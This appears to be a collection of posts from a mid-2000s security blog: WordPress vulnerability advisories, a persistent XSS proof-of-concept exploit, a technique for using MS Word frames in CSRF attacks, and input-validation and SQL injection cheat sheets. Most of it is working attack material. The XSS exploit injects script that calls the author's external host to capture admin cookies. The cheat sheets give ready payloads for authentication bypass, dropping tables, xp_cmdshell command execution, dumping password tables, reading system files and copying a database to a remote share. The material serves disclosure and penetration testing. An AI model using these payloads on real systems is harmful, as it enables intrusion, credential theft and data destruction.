WordPress Adsense Deluxe Vulnerability

David Kierznowski of Operation n has discovered some serious flaws in the WordPress Adsense Deluxe plugin as part of the WordPress Angel Project. The vulnerability(s) affect all versions.

This vulnerability reminds me of the the old Hacker movies, where a worm is released that steals random pennys from unsuspecting victims. This vulnerability is the closest I have seen to this scenario.

The vendor has been notified, and more information regarding the vulnerability will be released after 30 days or until such a time as the author feels that WordPress users have had a chance to upgrade.

Unfortunately, the developer has not gotten back to me, and as many blogs use this plugin as a source of income, I have gone ahead and made the necessary changes myself as a temporary solution. Please note this is an unofficial release. Hopefully the vendor will verify the changes and make an official release shortly.

As with any plugin, please make sure you have made a backup before downloading and installing this.

Download adsense-deluxe.zip.

The vendor was notified: 18/05/07
Response received: None as yet
Fix received: Temporary fix released as part of the WordPress Angel Project.


WordPress Persistent XSS

Vulnerability Title: WordPress Persistent XSS
Author: David Kierznowski
Homepage: http://michaeldaw.org
Software Vendor: WordPress Persistent XSS
Versions affected: Confirmed in v2.0.5 (latest)

WordPress is a popular open source blogging software.
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.

When editing files a shortcut is created titled recently accessed files. The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitised. Instead, it is passed to get_file_description($file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending with /. We can get around this by using open IMG tags; this works under FF and IE.

Vulnerable code:

[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "<li><a href='templates.php?file="
          . wp_specialchars($recent, true) . "'>"
          . get_file_description(basename($recent))
          . "</a></li>";

Vulnerable function:

function get_file_description($file) {
        global $wp_file_descriptions;

        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        return basename($file);

Proof of concept:


Temp Fix:
Comment out the following line in wp-admin/templates.php
[Line 72] update_recently_edited($file);

WordPress was contacted: 26/12/06 22:04 BST
Reply received: 27/12/06 06:11 BST
WordPress has fixed this for v2.0.6 and a patch has been released
for v2.0.5, see

WordPress template.php Exploit

Its been a few days since the release of:

Other references:

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHPs basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.


I hope this article strongly encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.

CSRF in MSWord Part II

I released CSRF in MSWord Part 1 a couple of weeks ago, where we utilise frames to backdoor Word documents. SANS Handlers commented on this find with some interesting points.

RSnake decided to play a little with this idea and has published CSRF with MSWord Part II where he has uncovered a really neat way to backdoor .doc files by adding HTML into the META section of the document. This reminds me alot of the technique used by pdp in Backdooring Quicktime. I havent tested this yet but am already getting ideas

It is scary to see typical web application vulnerabilities spreading to Word and others. My Backdooring PDF files article also exploited web features within an application. These issues were all found within a matter of hours not days and certainly not weeks. Low hanging fruit

CSRF with MS Word

Update 28/11:
It is interesting to note that MS Word 2003 will actually warn the user. Obviously, someone at Microsoft saw the potential for badness here. Good stuff.

Microsoft Word has been plagued with vulnerabilities in the past. Therefore, mail servers often restrict email with the .doc extension. However, with applications like Microsoft SharePoint which allows sharing of content between users, the door is opened just slightly to allow for deviance. This article demonstrates using Microsoft Word in Cross Site Request Forgery (CSRF) Attacks.

Our attack vector is found in exploiting MSWords frame capabilities: By creating malicious frames in a document and pointing them to a malicious URL, we can exploit multiple, persistent CSRF vulnerabilities (and possibly the browser). The cool part? This all happens transparently with no warnings to the user. Also, this IMG tag can be hidden within a document which means that our malicious code is executed everytime the document is opened. Furthermore, an attacker can use either 302 redirects or modify the infected HTML file to alter his/her targets array. This means our payload can be updated from the attackers end.

This is how we do it:

1. Create new document
2. Goto Insert > Format > Frames >
3. Right Click on the frame > Frame Properties >
4. Set hyperlink to our exploit page which contains malicious IMG tags.

An example target HTML file can be seen below:

<img src="http://non-existent/login.php?changepass=123verify=123" alt=""  />

Obviously curious about how MS Word communicates, I sniffed the connection:

GET /login.php?changepass=123verify=123 HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: non-existent
Connection: Keep-Alive
Cookie: blah

As we can see, it is using Internet Explorer to fetch these pages. With some creativity other exploitation techniques may be possible (i.e. ActiveX exploitation). However, attacks are limited due to scripting being disabled by default. Thus we see that MS Word can be used to launch multiple, persistent (well almost) CSRF attacks.

Tested using: MS Word 2000.
Expect a part 2 ?

WordPress 2.1.3 Akismet Vulnerability

14/05/07 Added link to new version

David Kierznowski of Operation n has discovered a serious flaw in the Akismet anti-spam plugin that comes by default with the latest version of WordPress (2.1.3).

It has not been confirmed as yet, but I believe this will affect all versions of the plugin. The vendor has been notified, and more information regarding the vulnerability will be released when a suitable fix has been released.

I know its painful, but its recommended that you disable the Akismet plugin immediately.

The vendor was notified: 14/05/07
Response received: 14/05/07
Fix received: 14/05/07

The Akismet v2.0.2 Download upgrade has been made to address these issues and may be downloaded here.

Input Validation Cheat Sheet

Related articles: SQL Injection Cheat Sheet

We sometimes carelessly throw characters up and about in an attempt to find a gem. This paper covers miscellaneous injection characters and their meanings when applied to web application testing.

Character(s) Details
NULL or null Often produces interesting error messages as the web application is expecting a value. It can also help us determine if the backend is a PL/SQL gateway.
{‘ , ” , ; , <!} Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
{ , = , + , “} These characters are used to craft SQL Injection queries.
{‘ , &, ! , ¦ , < , >} Used to find command execution vulnerabilities.
“><script>alert(1)</script> Used for basic Cross-Site Scripting Checks.
{%0d , %0a} Carriage Return Line Feed (new line); all round bad.
{%7f , %ff} byte-length overflows; maximum 7- and 8-bit values.
{-1, other} Integer and underflow vulnerabilities.
Ax1024+ Overflow vulnerabilities.
{%n , %x , %s} Testing for format string vulnerabilities.
../ Directory Traversal Vulnerabilities.
{% , _, *} Wildcard characters can sometimes present DoS issues or information disclosure.

These characters can be represented in many different ways (i.e. Unicode). It is important to understand this when restricting input to these character sets.


The post Input Validation Cheat Sheet appeared first on Diary of Michael Daw!.

SQL Injection Cheat Sheet

Related articles: Input Validation Cheat Sheet (Want to find other input validation problems?)

Table of Contents

Generic – Bypass Authentication
Microsoft SQL
Bypass SQL Injection Filters
References and Credits


Date Change
09/07/07 DB2 Database SQL Injection Cheatsheet(Author: pentestmonkey.net)
09/07/07 Ingres Database SQL Injection Cheatsheet (Author: pentestmonkey.net)
13/03/07 Bypass SQL Injection Filters
03/01/06 Added some more blind SQL injection tests for MySQL (Author: jungsonn)
21/12/06 Added Concat tests for blind SQL Injection tests.
06/Nov/06 Added PostgreSQL payloads
06/Nov/06 Added Data to Oracle
06/Nov/06 Added Sybase section
Oct/06 Wrote initial paper.


This paper was primarily written to aid penetration testers. I hope you find it useful. Please email me additional payloads as you find them.

» Generic – Bypass Authentication

The following payloads are generally applied to login forms with a username and password. Correctly performing these attacks will allow you to authenticate to the web application (unless otherwise stated).

Payload Description (if any)
realusername OR 1=1 Authenticate as a real user without requiring a password.
OR = Allows authentication without a valid username.
admin Authenticate as user admin without a password.
union select 1, user, pass 1 Requires knowledge of column names.
; drop table users DANGEROUS! this will delete the user database if the table name is users.

» Microsoft SQL

Payload Description (if any)
admin sp_password sp_traceXXX audit evasion. The sp_password prevents storing clear text passwords in the log files. Appending this after your comments () can prevent SQL Injection queries being logged.
select @@version View database version.
select @@servername Misc. information disclosure
select @@microsoftversion Misc. information disclosure
select * from master..sysservers Misc. information disclosure
select * from sysusers View database usernames and passwords.
exec master..xp_cmdshell ipconfig+/all Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell net+view Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell net+users Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell ping+system-controlled-by-attacker Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
BACKUP database master to disks=\\{IP}\{sharename}\backupdb.dat Backup entire database to a file. This attack can be used to steal a database.
create table myfile (line varchar(8000))” bulk insert foo from c:\inetpub\wwwroot\auth.asp” select * from myfile” Reading files on the filesystem.
xp_servicecontrol (START or STOP) <service> Start and stop Windows Services.
str1 + str2 OR n+n Concat strings for blind SQL Injection tests.

» Sybase

Payload Description (if any)
select @@version” View database version.
select name from master..syslogins” Misc. information disclosure
select name from master..sysdatabases” Misc. information disclosure
convert(integer,(select+min(name)+from+syslogins+where+name>)) Integer conversion error trick.
convert(integer,(select+min(name)+from+syslogins+where+name>sybase)) An error will occur presenting the first value of the rowset (lets say its sybase). We then continue as before by placing the value into our query. An error will then present the next value in the rowset. We continue as before.
xp_cmdshell ipconfig+/all Misc. command execution with cp_cmdshell.
xp_cmdshell net+view Misc. command execution with cp_cmdshell.
xp_cmdshell net+users Misc. command execution with cp_cmdshell.
xp_cmdshell ping+system-controlled-by-attacker Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
waitfor delay 0:0:5 Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
create proxy_table myfile external file at “c:\temp\file_to_read.txt” select * from myfile” Reading files on the filesystem.
create table myfile (record varchar(2000)) external file at “c:\temp\myfile.exe” insert into myfile values(0xAND_YOUR_BINARY_DATA)” Write file to filesystem.
str1 + str2 or n+n Concat strings for blind SQL Injection tests.


Payload Description (if any)
select @@version; View database version.
select host,user,db from mysql.db; Misc. information disclosure
select host,user,password from mysql.user; View MySQL usernames and passwords.
create table myfile (input TEXT); load data infile /etc/passwd into table myfile; OR load data infile /home/{user}/.rhosts into table myfile; select * from myfile; Reading files on the filesystem.
select host,user,password from user into outfile /tmp/passwd; Write files on the filesystem. This attack is limited by the fact that you can only write to either /tmp or /var/tmp.
select CONCAT(a,b); Concat strings for blind SQL Injection tests.
BENCHMARK(1000000000,MD5(gainingtime)) Cause delay for blind SQL Injection tests.
BENCHMARK(1000000000,MD5(CHAR(116))) Cause delay for blind SQL Injection tests. Same as before, but this can be used if quotes are filtered.
IF EXISTS (SELECT * FROM users WHERE username = root) BENCHMARK(1000000000,MD5(gainingtime)) Check if username exists, if yes there will be an delay.
IF EXISTS (SELECT * FROM users WHERE username = root) WAITFOR DELAY 0:0:3 Check if username exists, if yes there will be an delay for 3 seconds.

» Oracle

Robert Hurlbut has put together an awesome document on Oracle SQL Injection. He seems to have far more experience in this area then I, so i will merely present a link to his blog entry on this topic (http://weblogs.asp.net/rhurlbut/archive/2004/01/24/62560.aspx).

Payload Description (if any)
str1 || str2 OR CONCAT (str1, str2) Concat strings for blind SQL Injection tests.

» PostgreSQL

Payload Description (if any)
select version(); View database version.
select current_database(); Misc. information disclosure
select current_user; Misc. information disclosure
select session_user; Misc. information disclosure
select current_setting(log_connections); Misc. information disclosure
select current_setting(log_statement); Misc. information disclosure
select current_setting(port); Misc. information disclosure
select current_setting(password_encryption); Misc. information disclosure
select current_setting(krb_server_keyfile); Misc. information disclosure
select current_setting(virtual_host); Misc. information disclosure
select current_setting(port); Misc. information disclosure
select current_setting(config_file); Misc. information disclosure
select current_setting(hba_file); Misc. information disclosure
select current_setting(data_directory); Misc. information disclosure
select * from pg_shadow; View database usernames and passwords.
select * from pg_group; View database usernames and passwords.
create table myfile (input TEXT); copy myfile from /etc/passwd; select * from myfile; Read files on the filesystem.
copy myfile to /tmp/test; Write files to filesystem.
str1 || str2 Concat strings for blind SQL Injection tests.

» DB2

Payload Description (if any)
Comments select blah from foo; comment like this
 Batching Queries Allowed? ???
 Database Version select versionnumber, version_timestamp from sysibm.sysversions;
 Current Database User select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
 System User for Current Connection select system_user from sysibm.sysdummy1;
 Current Database select current server from sysibm.sysdummy1;
 Limiting Rows Returned SELECT foo FROM bar fetch first 1 rows only;
Returning N Rows starting at Offset M select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
 List Tables select name from sysibm.systables;
 List Columns select name, tbname, coltype from sysibm.syscolumns;
 List Databse Users and Passwords Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;
 FROM clause mandated in SELECTs? Yes, use sysibm.sysdummy1:
select 123 from sysibm.sysdummy1;
 UNION supported Yes
select 123 from sysibm.sysdummy1 union select 234 from sysibm.sysdummy1;
 Enumerate Tables Privs select * from syscat.tabauth;
 Enumerate Current Privs select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
 Length of a string select name, tbname, coltype from sysibm.syscolumns; returns 3
 Bitwise AND This page seems to indicate that DB2 has no support for bitwise operators!
 Substring SELECT SUBSTR(abc,2,1) FROM sysibm.sysdummy1;  returns b
 ASCII value of a character select ascii(A’) from sysibm.sysdummy1; returns 65
Character from ASCII value select chr(65) from sysibm.sysdummy1; returns A
 Roles and passwords N/A (I think DB2 uses OS-level user accounts for authentication.)
List Database Procedures  ???
Create Users + Granting Privs  ???
 Time Delays  ???
 Execute OS Commands  ???
 Write to File System  ???
 Concatenation SELECT a concat b concat c FROM sysibm.sysdummy1; returns abc
select a || b from sysibm.sysdummy1; returns ab
 Casting SELECT cast(123 as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
List schemas SELECT schemaname FROM syscat.schemata;

» Ingres

Payload Description (if any)
Comments Normal and C-style /**/ comments are allowed:
select 123; sdfjsdlkfj
select 123; /* sdfsdf */
 Batching Queries Allowed? Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select doesnt matter this is ignored.
 Database Version select dbmsinfo(_version);
 Current Database User select dbmsinfo(session_user);
 System User for Current Connection select dbmsinfo(system_user);
 Current Database select dbmsinfo(database);
 Limiting Rows Returned select top 10 blah from table;
select first 10 blah form table;
 Returning N Rows starting at Offset M Astoundingly, this doesnt seem to be possible!
 List Tables select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != $ingres;
 List Columns select column_name, column_datatype, table_name, table_owner from iicolumns;
 List Databse Users and Passwords First connect to iidbdb, then:
select name, password from iiuser;
 FROM clause mandated in SELECTs? No.  You dont need to select form dual or anything.  The following is legal:
select 1;
 UNION supported Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2;
 Enumerate Tables Privs select table_name, permit_user, permit_type from iiaccess;
 Enumerate Current Privs select dbmsinfo(db_admin);
select dbmsinfo(create_table);
select dbmsinfo(create_procedure);
select dbmsinfo(security_priv);
select dbmsinfo(select_syscat);
select dbmsinfo(db_privileges);
select dbmsinfo(current_priv_mask);
 Length of a string select length(abc); returns 3
 Bitwise AND The function bit_and exists, but seems hard to use.  Heres an
example of ANDing 3 and 5 together.  The result is a byte type
with value \001:select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);
 Substring select substr(abc, 2, 1); returns b
 ASCII value of a character  ???
(The ascii function exists, but doesnt seem to do what Id expect.)
 Roles and passwords First you need to connect to iidbdb, then:
select roleid, rolepass from iirole;
List Database Procedures First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;
Create Users + Granting Privs First you need to connect to iidbdb, then:
create user pm with password = password;
grant all on current installation to pm;
 Time Delays ???
 Execute OS Commands ???
 Write to File System ???
 Concatenation  select abc || def;
 Casting  select cast(123 as varchar);
select cast(123 as integer);

» Bypass SQL Injection Filters

Payload Description (if any)
select password from tablename where username = concat(char(39),char(97),char(100),char(109),char(105),char(110),char( 39)) into outfile concat(char(39),char(97),char(100),char(109),char(105),char(110),char( 39)) Writing info into files without single quotes (example). You must specify a new file (it may not exist) and give the correct pathname.
select * from login where user = char(39,97,39) Using char() to bypass restrictions.

References and Credits:

Related articles:

External links:


WordPress Securify Plugin

WordPress Securify (WPSec) is a security plugin for WordPress. Every hour the tests specified within WPSec will be executed. A count of “warnings” is displayed in the top right of the WordPress Admin panel.

WordPress Securify ShellScript

This project has been split into two parts. The first was a chunky shell script that uses security through obscurity approach. The second project is the WordPress Securify plugin; this plugin is closer to a WordPress Security Audit tool. I have completed version 1.0 but am still sorting out some bugs – let me know if you want to give it a try.

HTTP Proxy Scanner

Simple HTTP proxy scanner to check for usable proxies. Written in C; requires libcurl.

Web Backdoor Compilation

A collection of web backdoors.

SQL Injection Cheat Sheet

Currently supports generic authentication bypass Vulnerabilities, MS-SQL, MySQL, Oracle, Postgress and Sybase.

JavaScript Network Mapper (v1.0)

A JavaScript Network Mapper which supports, WebPing, WebScript and WebImage scanning techniques.

JavaScript WebPing

Uses iframes to ping networks.

ASP Auditor

This tool is based on H D Moore’s Dot Net Application Scanner.

Awakening the Sleeping Giant

This paper is an initial attempt to categorise and track XSS in general. Havent dont much work on this.

The post Projects appeared first on Diary of Michael Daw!.

Adobe Universal XSS


In September pdp and I did some really fun work involving backdooring PDF files. It opened alot of eyes and some back accounts in getting it fixed. Now Stefano Di Paola and Giorgio Fedon have found a way to perform universal XSS attacks on systems with Adobe Reader and Professional installed.

Affected Versions

According to pdp the following versions have been found vulnerable:

  • IE 6 SP 1 with version of Acro Reader older than 8.0
  • Firefox win32
  • Firefox win32
  • Opera 8.5.4 build 770 win32
  • Opera 9.10.8679 win32

Not Vulnerable:

  • IE7.0 win32


sven released some nice POC exploits using this vulnerability, see:


This brings back memories from last year. Those who learnt from our previous post on backdooring PDF files will be immune to this attack. Some suggestions:

  1. Use foxit PDF reader rather then Adobe (JavaScript is disabled by default)
  2. If you must stick with Adobe then disable all default plugins that are not in use. See bipins comment on our original findings http://michaeldaw.org/md-hacks/backdooring-pdf-files/#comment-42
  3. Upgrade to Adobe 8